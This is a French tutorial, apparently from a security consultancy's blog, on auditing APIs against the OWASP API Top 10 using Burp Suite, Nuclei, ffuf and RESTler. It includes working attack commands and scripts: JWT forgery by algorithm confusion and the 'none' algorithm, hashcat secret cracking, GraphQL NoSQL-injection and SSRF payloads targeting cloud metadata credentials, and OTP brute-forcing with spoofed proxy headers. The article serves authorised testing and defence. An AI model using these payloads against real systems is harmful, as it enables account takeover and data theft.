API Security 2026 : fuzzing avec Burp Suite, Nuclei templates, ffuf. OWASP API Top 10 2023, JWT attacks, GraphQL introspection, BOLA/IDOR. Workflow d'audit complet.
TL;DR — En résumé
Guide technique approfondi sur api security : fuzzing avance avec burp et nuclei. Cet article presente les techniques, outils et bonnes pratiques.
Les API constituent le vecteur d'attaque n°1 en 2026, représentant 83% des trafics web selon le rapport Salt Security. L'OWASP API Security Top 10 2023 définit les 10 familles de vulnérabilités les plus critiques, des BOLA/IDOR aux abus de business logic. Ce guide couvre le workflow complet d'audit API avec Burp Suite, Nuclei, ffuf et RESTler, avec des exemples de commandes réels.
En 2026, les interfaces de programmation applicative (API) sont devenues la colonne vertébrale de l'économie numérique — et la cible principale des attaquants. Selon le rapport Salt Security State of API Security 2026, 83 % du trafic internet transite par des API, et 94 % des organisations ont subi des incidents de sécurité liés aux API au cours des douze derniers mois. Gartner anticipe que les API représenteront le vecteur d'attaque le plus fréquent contre les applications web d'entreprise. Face à cette réalité, l'OWASP API Security Project a publié en 2023 une mise à jour majeure de son Top 10, intégrant de nouvelles catégories comme les abus de business flows et le Server Side Request Forgery. Ce guide présente le workflow complet d'audit de sécurité API : de la découverte d'endpoints à l'exploitation des vulnérabilités, avec les outils Burp Suite, Nuclei, ffuf et RESTler. Chaque étape est illustrée de commandes réelles et de templates YAML opérationnels pour maîtriser l'api security fuzzing burp nuclei 2026. Que vous soyez pentesteur, développeur ou RSSI, cette méthodologie vous permettra d'identifier et de corriger les failles avant qu'un attaquant ne les exploite.
À retenir
- BOLA/IDOR (API1) : 40 % des vulnérabilités API découvertes sont des problèmes d'autorisation au niveau objet — la faille la plus répandue et la plus critique du Top 10 OWASP 2023, systématiquement testée en priorité lors des audits.
- Nuclei templates API : Plus de 1 500 templates communautaires couvrent le fuzzing d'API REST, GraphQL et gRPC, permettant une automatisation efficace des scans avec intégration native dans les pipelines CI/CD.
- JWT algorithm confusion : La confusion RS256 → HS256 permet de forger des tokens admin en réutilisant la clé publique comme secret HMAC — une attaque souvent négligée lors des revues de code et corrigée par la validation stricte de l'algorithme.
- GraphQL introspection : Laissée active en production dans 67 % des déploiements GraphQL, elle expose l'intégralité du schéma aux attaquants et facilite l'énumération des mutations sensibles.
- Rate limiting bypass : Les headers X-Forwarded-For, X-Real-IP et la rotation d'IP contournent jusqu'à 80 % des mécanismes de limitation basés sur l'IP source.
OWASP API Security Top 10 2023 : les 10 familles de vulnérabilités critiques
La version 2023 de l'OWASP API Security Top 10 marque une évolution significative par rapport à l'édition 2019. Elle intègre des menaces émergentes liées aux architectures microservices, aux APIs GraphQL et aux abus de logique métier. Trois nouvelles catégories font leur apparition : API6 (Unrestricted Access to Sensitive Business Flows), API7 (Server Side Request Forgery) et API10 (Unsafe Consumption of APIs). Voici le tableau complet des 10 catégories avec leurs impacts et exemples d'exploitation :
| Catégorie | Nom | Impact | Exemple d'exploitation |
|---|---|---|---|
| API1 | BOLA / IDOR | Accès aux données d'autres utilisateurs | GET /api/orders/1337 sans contrôle d'appartenance |
| API2 | Broken Authentication | Compromission de comptes, usurpation d'identité | JWT sans expiration, tokens prévisibles, absence de MFA |
| API3 | Broken Object Property Level Auth | Exposition de données sensibles, mass assignment | Réponse JSON exposant isAdmin: false, champ modifiable via PATCH |
| API4 | Unrestricted Resource Consumption | DoS, surcoûts cloud, épuisement des ressources | Requêtes sans pagination, uploads illimités, absence de timeout |
| API5 | Broken Function Level Authorization | Accès aux fonctions admin par utilisateurs normaux | POST /api/admin/users accessible sans rôle admin |
| API6 | Unrestricted Access to Sensitive Business Flows | Fraude, abus de promotions, scalping automatisé | Achats massifs automatisés via API sans détection de bots |
| API7 | Server Side Request Forgery (SSRF) | Accès aux métadonnées cloud, pivoting réseau interne | Paramètre URL non validé pointant vers 169.254.169.254 |
| API8 | Security Misconfiguration | Exposition de données, accès non autorisé | CORS wildcard, headers de sécurité absents, debug endpoints actifs |
| API9 | Improper Inventory Management | Attaque via APIs obsolètes ou non documentées | Endpoint /api/v1/ non maintenu exposant des failles corrigées en v2 |
| API10 | Unsafe Consumption of APIs | Injection via API tiers compromise, supply chain | Données d'une API partenaire injectées sans validation en base de données |
Cette taxonomie structure le cadre de référence pour tout audit de sécurité API. Chaque catégorie correspond à des tests spécifiques détaillés dans les sections suivantes. La catégorie API10 (Unsafe Consumption) reflète l'importance croissante de la sécurité de la chaîne d'approvisionnement applicative dans les architectures modernes, où une API tierce compromise peut devenir le vecteur d'intrusion dans votre système d'information.
Burp Suite pour l'audit API : Intruder, Repeater et extensions essentielles
Burp Suite Professional demeure l'outil de référence pour les pentesters API en 2026. Sa capacité à intercepter, modifier et rejouer les requêtes HTTP/HTTPS en fait un outil indispensable pour tester l'intégralité des vulnérabilités OWASP API Top 10. La PortSwigger Web Security Academy documente les techniques avancées d'API testing avec des labs interactifs.
Configuration du proxy Burp pour les APIs
Pour auditer des APIs mobiles ou des clients non-navigateur, configurez Burp comme proxy transparent :
# Configurer le proxy Burp sur 127.0.0.1:8080
# Exporter le certificat CA Burp pour le trust store
curl -k https://burp/cert -o burp-ca.der
# Convertir en PEM si nécessaire
openssl x509 -inform DER -in burp-ca.der -out burp-ca.pem
# Tester une API REST avec curl via Burp
curl -x http://127.0.0.1:8080 -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" https://api.target.com/v1/users/me
# Intercepter le trafic d'une application mobile (Android)
# Installer le cert Burp dans le keystore système Android
adb push burp-ca.der /sdcard/
# Settings > Security > Install certificate > CA certificate
Burp Intruder : fuzzing de paramètres API
L'Intruder permet de fuzzer automatiquement les paramètres d'API pour découvrir des BOLA/IDOR, des injections et des problèmes d'autorisation. En mode Sniper, chaque position est fuzzée individuellement avec la wordlist choisie. En mode Cluster Bomb, toutes les combinaisons sont testées — idéal pour le credential stuffing :
# Position Sniper pour BOLA/IDOR (API1)
# Requête cible : GET /api/v1/accounts/§123§/transactions
# Wordlist : séquence numérique 1-10000
# Grep match sur : "balance", "iban", "amount"
# Cluster Bomb pour test d'autorisation croisée (API5)
# Position 1 : rôle dans le JWT payload (§user§ / §admin§ / §manager§)
# Position 2 : endpoint admin (§/users§ / §/settings§ / §/audit-logs§)
# Intruder pour mass assignment (API3)
# Mode Sniper sur le JSON body
# Payload : {"§isAdmin§": true} avec wordlist de noms de champs sensibles
# Wordlist : /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt
Extensions Burp indispensables pour l'audit API
Plusieurs extensions du BApp Store transforment Burp en plateforme d'audit API complète :
- JSON Web Tokens (JWT Editor) : Permet de décoder, modifier et signer des JWT directement dans Burp. Supporte les attaques algorithm confusion, none algorithm et key confusion sans quitter l'interface Burp.
- InQL (GraphQL Scanner) : Génère automatiquement toutes les queries et mutations GraphQL depuis l'introspection. Intègre une interface de requêtage et détecte les types d'injection dans les arguments.
- AuthMatrix : Crée une matrice d'autorisation pour tester chaque endpoint avec différents rôles utilisateurs — parfait pour détecter les failles API5 (Broken Function Level Authorization) de manière systématique.
- Param Miner : Découvre les paramètres cachés dans les APIs (query params, JSON fields, headers non documentés) par analyse différentielle des réponses.
- HTTP Request Smuggler : Détecte les vulnérabilités de request smuggling sur les APIs derrière des reverse proxies Nginx, HAProxy ou AWS ALB.
Nuclei : automatiser les tests avec des templates API sur mesure
Nuclei, développé par ProjectDiscovery, est devenu l'outil de scan de vulnérabilités le plus populaire en 2026 grâce à son système de templates YAML extensibles. Le dépôt officiel nuclei-templates contient plus de 9 000 templates dont plus de 1 500 dédiés à la sécurité API. Son intégration native dans les pipelines CI/CD en fait un outil de choix pour le security testing continu.
Scan API avec les templates communautaires
# Nuclei scan API avec templates fuzzing et exposures
nuclei -u https://api.target.com -t fuzzing/api/ -t exposures/apis/ -H "Authorization: Bearer TOKEN" -rate-limit 10 -json -o results.json
# Scanner les endpoints GraphQL
nuclei -u https://api.target.com/graphql -t fuzzing/graphql/ -t exposures/apis/graphql-introspection.yaml -H "Content-Type: application/json" -v
# Templates pour les JWT (API2 - Broken Authentication)
nuclei -u https://api.target.com -t fuzzing/tokens/ -t vulnerabilities/generic/jwt-none-algorithm.yaml -H "Authorization: Bearer VOTRE_JWT_ICI"
# Scan complet avec toutes les catégories API OWASP
nuclei -u https://api.target.com -t fuzzing/ -t exposures/ -t vulnerabilities/ -tags api,jwt,graphql,idor,ssrf -rate-limit 5 -timeout 10 -retries 2 -o nuclei-api-scan.json -of json
Template Nuclei custom pour BOLA/IDOR (API1)
La puissance de Nuclei réside dans la facilité de création de templates personnalisés adaptés à l'application cible. Voici un template complet pour tester les vulnérabilités BOLA/IDOR :
# Template Nuclei custom pour BOLA/IDOR
id: api-idor-test
info:
name: API IDOR Test
severity: high
tags: api,idor,authentication
description: Teste l'accès non autorisé aux ressources d'autres utilisateurs via manipulation d'ID
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/users/{{user_id}}/profile"
- "{{BaseURL}}/api/v1/accounts/{{user_id}}/data"
- "{{BaseURL}}/api/v2/orders/{{user_id}}"
payloads:
user_id:
- "1"
- "2"
- "3"
- "100"
- "1000"
attack: sniper
headers:
Authorization: "Bearer {{token}}"
Content-Type: "application/json"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '"email"'
- '"username"'
- '"phone"'
condition: or
extractors:
- type: regex
name: leaked_email
regex:
- '"email":\s*"([^"]+)"'
- type: regex
name: leaked_username
regex:
- '"username":\s*"([^"]+)"'
# Template Nuclei pour CORS misconfiguration (API8)
id: api-cors-misconfiguration
info:
name: API CORS Wildcard Misconfiguration
severity: medium
tags: api,cors,misconfiguration
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/data"
headers:
Origin: "https://evil.attacker.com"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Access-Control-Allow-Origin: https://evil.attacker.com"
- "Access-Control-Allow-Origin: *"
condition: or
- type: word
part: header
words:
- "Access-Control-Allow-Credentials: true"
ffuf : fuzzing d'endpoints et découverte de surface d'attaque
ffuf (Fuzz Faster U Fool) est l'outil de prédilection pour la découverte d'endpoints API non documentés. Combiné aux wordlists SecLists (dépôt ffuf), il permet de cartographier exhaustivement la surface d'attaque d'une API, notamment les endpoints obsolètes visés par API9 (Improper Inventory Management).
# Découverte d'endpoints REST avec filtrage des codes HTTP pertinents
ffuf -u https://api.target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/api/objects.txt -H "Content-Type: application/json" -H "Authorization: Bearer TOKEN" -mc 200,201,204,401,403 -o endpoints.json -of json
# Fuzzing de versions d'API — détection d'API9 (Inventory Management)
ffuf -u https://api.target.com/FUZZ/users -w /opt/SecLists/Discovery/Web-Content/api/api-versions.txt -H "Authorization: Bearer TOKEN" -mc 200,201,204,401,403 -v
# Fuzzing de paramètres JSON pour mass assignment (API3)
ffuf -u https://api.target.com/v1/users/me -X PATCH -H "Content-Type: application/json" -H "Authorization: Bearer TOKEN" -d '{"FUZZ": "test_value"}' -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -mc 200,204 -v
# Rate limiting bypass avec rotation de headers X-Forwarded-For
ffuf -u https://api.target.com/v1/auth/login -X POST -H "Content-Type: application/json" -H "X-Forwarded-For: FUZZ" -d '{"email":"[email protected]","password":"test"}' -w /opt/SecLists/Fuzzing/IPv4-addresses.txt -mc 200 -t 5 -rate 10
Pour éviter de déclencher les mécanismes de détection, adaptez le débit avec l'option -rate (requêtes par seconde) et introduisez des délais entre les requêtes via -p. La combinaison ffuf + audit des configurations Kubernetes RBAC est particulièrement efficace dans les environnements cloud-native, où les APIs de contrôle sont souvent exposées avec des permissions trop larges.
RESTler (Microsoft) : test de state machine pour APIs REST
RESTler, développé par Microsoft Research et disponible sur GitHub, est l'unique outil open source dédié aux tests de state machine pour APIs REST. Contrairement aux fuzzers classiques qui envoient des requêtes isolées, RESTler apprend les dépendances entre endpoints en analysant la spécification OpenAPI/Swagger, puis génère automatiquement des séquences de requêtes cohérentes pour tester les transitions d'état et les flux métier.
# Installation RESTler via Docker
docker pull mcr.microsoft.com/restlerfuzzer/restler:latest
# Phase 1 : Compilation depuis la spécification OpenAPI 3.0
docker run --rm -v $(pwd):/workdir mcr.microsoft.com/restlerfuzzer/restler Compile --api_spec /workdir/openapi.json
# Phase 2 : Test mode — exécute les séquences sans mutations
docker run --rm -v $(pwd):/workdir mcr.microsoft.com/restlerfuzzer/restler Test --grammar_file /workdir/Compile/grammar.py --dictionary_file /workdir/Compile/dict.json --settings /workdir/restler_settings.json --no_ssl
# Phase 3 : Fuzzing complet avec mutations (time_budget en heures)
docker run --rm -v $(pwd):/workdir mcr.microsoft.com/restlerfuzzer/restler Fuzz --grammar_file /workdir/Compile/grammar.py --dictionary_file /workdir/Compile/dict.json --time_budget 4 --target_ip api.target.com --target_port 443
# Analyser les résultats : crashs, erreurs 500, comportements inattendus
find ./RestlerResults -name "*.txt" | xargs grep -l "500\|Internal Server Error"
RESTler excelle dans la détection de vulnérabilités de logique métier complexes (API6 — Unrestricted Business Flows) car il teste des séquences réalistes : créer une commande → modifier la quantité → valider le paiement → vérifier le stock. Ces scénarios multi-étapes sont impossibles à tester avec les outils de fuzzing statique classiques. RESTler a découvert des failles critiques dans des APIs Azure et AWS en générant des séquences d'opérations que les développeurs n'avaient pas anticipées.
Sécurité GraphQL : introspection, queries abusives et mutations non authentifiées
GraphQL présente une surface d'attaque unique par rapport aux APIs REST. Son système d'introspection, sa flexibilité de requêtes et sa gestion des permissions au niveau du resolver créent des vulnérabilités spécifiques souvent négligées lors des audits. Ce domaine fait l'objet d'un traitement détaillé dans notre article sur les attaques API GraphQL et REST.
Exploitation de l'introspection GraphQL active
# Vérifier si l'introspection est activée
curl -s -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query": "{ __schema { types { name } } }"}' | jq '.data.__schema.types[].name'
# Introspection complète avec graphql-cop (audit automatisé)
pip install graphql-cop
graphql-cop -t https://api.target.com/graphql -o report.json
# Enumérer toutes les mutations disponibles (API5 - Function Level Auth)
curl -s -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query": "{ __schema { mutationType { fields { name description args { name type { name kind ofType { name kind } } } } } } }"}' | jq '.data.__schema.mutationType.fields[].name'
# Test de mutation sans authentification
curl -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query": "mutation { createAdmin(email: "[email protected]", password: "hacked", role: "admin") { id email } }"}'
Queries abusives et injection NoSQL via paramètres GraphQL
# DoS via query profondément imbriquée (API4 - Resource Consumption)
curl -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query": "{ users { friends { friends { friends { friends { id name email } } } } } }"}'
# Injection NoSQL via argument GraphQL (non échappé)
curl -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query": "{ user(id: {"\$gt": ""}) { id email passwordHash } }"}'
# SSRF via resolver GraphQL (API7)
curl -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query": "mutation { fetchExternalData(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { content } }"}'
# Alias abuse pour contourner le rate limiting (API6)
curl -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query": "{ a1: login(email:"[email protected]",p:"1") { token } a2: login(email:"[email protected]",p:"2") { token } a3: login(email:"[email protected]",p:"3") { token } }"}'
Attaques JWT : algorithm confusion, none algorithm et brute-force
Les JSON Web Tokens constituent le mécanisme d'authentification dominant des APIs modernes, et leur implémentation incorrecte engendre des vulnérabilités critiques (API2 — Broken Authentication). Ces attaques s'inscrivent dans la problématique plus large du bypass des mécanismes d'authentification forte.
Algorithm confusion : RS256 → HS256
L'attaque d'algorithm confusion exploite une vulnérabilité dans les bibliothèques JWT qui acceptent dynamiquement l'algorithme spécifié dans le header du token. Si l'API utilise RS256 (clé publique/privée RSA) mais que la bibliothèque accepte aussi HS256 (HMAC avec secret symétrique), un attaquant peut forger un token signé avec la clé publique RSA comme secret HMAC — clé qui est par définition accessible publiquement.
# Étape 1 : Récupérer la clé publique RS256
curl https://target.com/.well-known/jwks.json
# Extraire et convertir la clé publique PEM depuis JWKS
python3 -c "
import json, base64, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
jwks = requests.get('https://target.com/.well-known/jwks.json').json()
key_data = jwks['keys'][0]
n = int.from_bytes(base64.urlsafe_b64decode(key_data['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key_data['e'] + '=='), 'big')
pub_key = RSAPublicNumbers(e, n).public_key(default_backend())
pem = pub_key.public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo
)
print(pem.decode())
" > public.pem
# Étape 2 : Forger un JWT HS256 signé avec la clé publique comme secret HMAC
python3 -c "
import jwt, requests
public_key = open('public.pem').read()
forged = jwt.encode({'sub': 'admin', 'role': 'superadmin'}, public_key, algorithm='HS256')
print(forged)
"
Attaque none algorithm et brute-force de secrets faibles
# Attaque 'none' algorithm (si la lib ne valide pas l'algorithme)
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(
json.dumps({'alg':'none','typ':'JWT'}).encode()
).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(
json.dumps({'sub':'admin','role':'superadmin','exp':9999999999}).encode()
).rstrip(b'=').decode()
# Signature vide pour l'algorithme 'none'
token = f'{header}.{payload}.'
print(token)
"
# Brute-force de secret HMAC faible avec hashcat
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
echo "$TOKEN" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
# Tester avec des wordlists communes (secrets par défaut)
hashcat -a 0 -m 16500 jwt.txt /opt/SecLists/Passwords/Default-Credentials/default-passwords.txt
BOLA et Mass Assignment : IDOR structurel dans les APIs REST
Les vulnérabilités BOLA (Broken Object Level Authorization), équivalentes aux IDOR (Insecure Direct Object Reference) dans le contexte API, représentent la première cause de compromission de données via API selon le rapport OWASP 2023. La faille est structurelle : l'API reçoit un identifiant d'objet dans la requête client et accède aux données sans vérifier que l'utilisateur authentifié est bien le propriétaire légitime de cet objet. Les systèmes reliant plusieurs services via Microsoft Graph API sont particulièrement exposés si les permissions ne sont pas validées à chaque niveau.
Méthodologie de test BOLA systématique
# Étape 1 : Créer deux comptes utilisateurs distincts (user_A et user_B)
# Étape 2 : Avec user_A, récupérer l'identifiant de ses ressources
curl -H "Authorization: Bearer TOKEN_A" https://api.target.com/api/v1/accounts
# Réponse attendue : {"id": "acc_123abc", "balance": 1500, "iban": "FR76..."}
# Étape 3 : Avec user_B, tenter d'accéder à la ressource de user_A
curl -H "Authorization: Bearer TOKEN_B" https://api.target.com/api/v1/accounts/acc_123abc
# VULNÉRABILITÉ BOLA si le serveur retourne les données de user_A !
# Étape 4 : Tester toutes les variantes d'accès aux ressources
for method in GET PUT PATCH DELETE; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X $method -H "Authorization: Bearer TOKEN_B" https://api.target.com/api/v1/accounts/acc_123abc)
echo "$method /accounts/acc_123abc → HTTP $STATUS"
done
# Test de mass assignment (API3) — injecter des champs non documentés
curl -X PATCH https://api.target.com/api/v1/users/me -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" -d '{"username":"hacker","isAdmin":true,"role":"superadmin","credits":999999,"verified":true}'
Le mass assignment est une variante de BOLA au niveau des propriétés : l'API accepte et persiste des champs non documentés envoyés dans le corps de la requête. Un champ isAdmin: true envoyé dans un PATCH utilisateur et persisté sans contrôle équivaut à une élévation de privilèges immédiate.
Rate Limiting Bypass : contourner les protections anti-brute-force
Les mécanismes de rate limiting basés sur l'IP source sont contournables par plusieurs techniques bien documentées. Ces bypasses permettent d'attaquer les endpoints d'authentification (API2), de vérification d'OTP et de réinitialisation de mot de passe, transformant une protection apparente en obstacle trivial.
# Bypass via rotation de X-Forwarded-For
for i in $(seq 1 100); do
FAKE_IP="10.$((RANDOM % 254)).$((RANDOM % 254)).$((RANDOM % 254))"
RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://api.target.com/v1/auth/verify-otp -H "Content-Type: application/json" -H "X-Forwarded-For: $FAKE_IP" -H "X-Real-IP: $FAKE_IP" -H "X-Originating-IP: $FAKE_IP" -d "{"email":"[email protected]","otp":"$(printf '%06d' $RANDOM)"}")
echo "IP=$FAKE_IP HTTP=$RESULT"
done
# Test de tous les headers de proxy alternatifs
for header in "X-Forwarded-For" "X-Real-IP" "X-Client-IP" "CF-Connecting-IP" "True-Client-IP" "X-Cluster-Client-IP"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://api.target.com/v1/auth/login -H "Content-Type: application/json" -H "$header: 1.2.3.$((RANDOM % 255))" -d '{"email":"[email protected]","password":"test123"}')
echo "$header → HTTP $STATUS"
done
# Bypass par paramètre dupliqué (certaines implémentations prennent le dernier)
curl -X POST "https://api.target.com/v1/[email protected][email protected]" -H "Content-Type: application/json" -d '{"password":"brute_force_attempt"}'
Les protections robustes contre ces bypasses combinent plusieurs signaux : empreinte du device, comportement de navigation, analyse des patterns de requêtes, et challenge CAPTCHA adaptatif. Les APIs intégrant des agents IA nécessitent une attention particulière sur les vecteurs d'injection — voir notre analyse sur l'intégration d'agents IA et d'APIs externes.
Workflow complet d'audit de sécurité API : de la découverte au rapport
Un audit API professionnel suit une méthodologie structurée en quatre phases. Cette approche garantit une couverture exhaustive de la surface d'attaque tout en maintenant la traçabilité nécessaire pour le rapport final. Pour les environnements d'entreprise, un RSSI externalisé peut superviser ces audits récurrents dans le cadre d'un programme de sécurité continu.
Phase 1 : Discovery et cartographie de la surface d'attaque
# 1. Récupérer les spécifications OpenAPI/Swagger exposées
for path in /openapi.json /swagger.json /api-docs /v2/api-docs /v3/api-docs; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" https://api.target.com$path)
[ "$STATUS" = "200" ] && echo "FOUND: $path" && curl -s https://api.target.com$path > spec$path.json
done
# 2. Analyse des fichiers JavaScript pour extraire les endpoints
# (applications SPA — React, Vue, Angular)
grep -rE '"/(api|v[0-9]+)/[a-z_/-]+"' --include="*.js" . | grep -oE '"/(api|v[0-9]+)/[a-z_/-]+"' | sort -u > js-endpoints.txt
# 3. Discovery active avec ffuf
ffuf -u https://api.target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,204,301,302,401,403 -o phase1-endpoints.json -of json
# 4. Cartographie Nuclei — exposures et misconfigurations
nuclei -u https://api.target.com -t exposures/apis/ -t exposures/configs/ -o phase1-nuclei.json -of json
Phase 2 : Tests d'authentification et d'autorisation
# 5. Analyser le mécanisme JWT en place
echo "TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | jq . # Header
echo "TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Payload
# 6. Tester l'accès sans authentification à chaque endpoint découvert
while IFS= read -r endpoint; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$endpoint")
if [ "$STATUS" != "401" ] && [ "$STATUS" != "403" ]; then
echo "UNAUTHENTICATED ACCESS: $endpoint → HTTP $STATUS"
fi
done < discovered-endpoints.txt
# 7. AuthMatrix Burp : tester chaque endpoint avec 3 rôles
# user_token, manager_token, admin_token
# Documenter les accès inattendus dans la matrice
Phase 3 : Fuzzing et exploitation ciblée
# 8. Scan Nuclei complet avec authentification
nuclei -u https://api.target.com -t fuzzing/ -t vulnerabilities/ -t exposures/ -tags api,jwt,graphql,ssrf,idor,sqli,xss -H "Authorization: Bearer TOKEN" -rate-limit 10 -o phase3-nuclei.json -of json
# 9. RESTler si spécification OpenAPI disponible
# (voir section RESTler ci-dessus — time_budget selon la taille de l'API)
# 10. Tests manuels Burp ciblés sur les vulnérabilités identifiées
# Priorité : BOLA (API1) → JWT attacks (API2) → Mass assignment (API3)
Phase 4 : Documentation et rapport final
Le rapport d'audit API doit inclure pour chaque vulnérabilité : la requête HTTP complète (preuve d'exploitation reproductible), la classification OWASP API Top 10, le score CVSS v3.1, l'impact métier estimé (confidentialité, intégrité, disponibilité) et les recommandations de remédiation priorisées. Un audit de sécurité professionnel fournit également un plan de remédiation adapté à votre stack technique, avec des exemples de code corrigé pour les vulnérabilités les plus critiques.
Questions fréquentes
Quelle est la différence entre BOLA et IDOR dans le contexte des APIs REST ?
BOLA (Broken Object Level Authorization) est le terme OWASP API Top 10 2023, tandis qu'IDOR (Insecure Direct Object Reference) vient du Top 10 Web classique. Dans les APIs REST, les deux désignent la même vulnérabilité fondamentale : l'API accepte un identifiant d'objet fourni par le client et retourne les données sans vérifier que l'utilisateur authentifié en est le propriétaire légitime. BOLA est plus précis car il englobe tous les types d'identificateurs — UUID, hash, slug, séquence numérique — pas seulement les références directes numériques classiques de l'IDOR.
Comment savoir si une API GraphQL est vulnérable à l'introspection non autorisée ?
Envoyez une requête d'introspection minimale : {"query": "{ __schema { types { name } } }"}. Si la réponse contient une liste de types, l'introspection est active. En production, elle doit être désactivée ou limitée aux adresses IP autorisées. Des outils comme graphql-cop automatisent ce test et vérifient simultanément d'autres misconfigurations : absence de depth limiting, aliases illimités permettant le contournement du rate limiting, directives dangereuses. L'introspection active expose l'intégralité du schéma aux attaquants, facilitant l'énumération des mutations sensibles et la construction de queries d'exploitation.
Nuclei ou Burp Suite : quel outil choisir pour un audit API professionnel ?
Les deux sont complémentaires et indispensables dans un audit professionnel. Nuclei excelle en automatisation et couverture large — idéal pour les scans initiaux, la détection de misconfigurations communes et l'intégration dans les pipelines CI/CD. Burp Suite Professional est irremplaçable pour les tests manuels, l'analyse des flux d'authentification complexes, le fuzzing paramétré avec Intruder et l'exploitation de vulnérabilités logiques que les templates automatisés ne peuvent pas détecter. La méthodologie optimale combine Nuclei pour le discovery automatisé en phase 1 et Burp pour l'exploitation manuelle approfondie en phase 3.
Comment détecter une attaque d'algorithm confusion JWT côté défenseur ?
Côté défenseur, l'algorithm confusion se détecte et se prévient en validant strictement l'algorithme dans le header JWT avant toute vérification de signature. La bibliothèque doit être configurée pour n'accepter qu'un algorithme spécifique (ex. RS256), en rejetant explicitement les tokens HS256 si votre infrastructure utilise des clés asymétriques. Activez la journalisation de toutes les tentatives de vérification JWT échouées et des tokens présentant des algorithmes inattendus. Des solutions WAAP (Web Application and API Protection) comme AWS WAF ou Cloudflare API Shield détectent ces anomalies en temps réel.
Le fuzzing API peut-il provoquer des dommages en production ?
Oui — le fuzzing génère des centaines à milliers de requêtes par minute, pouvant déclencher des alertes de sécurité, saturer des files de traitement, créer des données parasites en base, ou activer des alertes de fraude sur les systèmes de paiement. Le fuzzing doit toujours être effectué sur un environnement de recette dédié ou avec une autorisation écrite explicite incluant une fenêtre de maintenance pour la production. Utilisez systématiquement les options de rate limiting (-rate-limit dans Nuclei, -rate dans ffuf) et excluez les endpoints de suppression et de paiement lors des phases de discovery automatisée.
Ces techniques sont réservées aux tests de sécurité sur des systèmes pour lesquels vous disposez d'une autorisation écrite explicite du propriétaire. Toute utilisation non autorisée est illégale et passible de poursuites pénales en France en vertu des articles 323-1 à 323-7 du Code pénal (jusqu'à 5 ans d'emprisonnement et 150 000 € d'amende pour l'accès non autorisé à un système informatique).
Audit de sécurité de vos APIs ? Nos pentesteurs testent vos APIs REST, GraphQL et gRPC.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
[email protected]
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
Patch Management 2026 : Stratégie et Outils pour Entreprises
Guide patch management 2026 — stratégie d'application, priorisation CVSS/EPSS, outils WSUS/Ivanti/Tanium, SLA de patching et métriques MTTR pour entreprises.
Durcissement Cisco IOS et IOS-XE 2026 : Guide de Sécurisation
Guide complet durcissement Cisco IOS et IOS-XE 2026 — CVE critiques, SSH hardening, ACL management plane, SNMPv3, CIS Benchmark et recommandations ANSSI.
Zabbix 7 en 2026 : Supervision Sécurité et Alertes Avancées
Guide Zabbix 7 pour la supervision de sécurité en 2026 — templates sécurité, alertes comportementales, intégration SIEM, chiffrement PSK/TLS et HA cluster.
Un projet cybersécurité ? Parlons-en.
Pentest, conformité NIS 2, ISO 27001, audit IA, RSSI externalisé… nos experts répondent sous 24h pour évaluer votre besoin et vous proposer un accompagnement sur mesure.
Commentaires (1)
Laisser un commentaire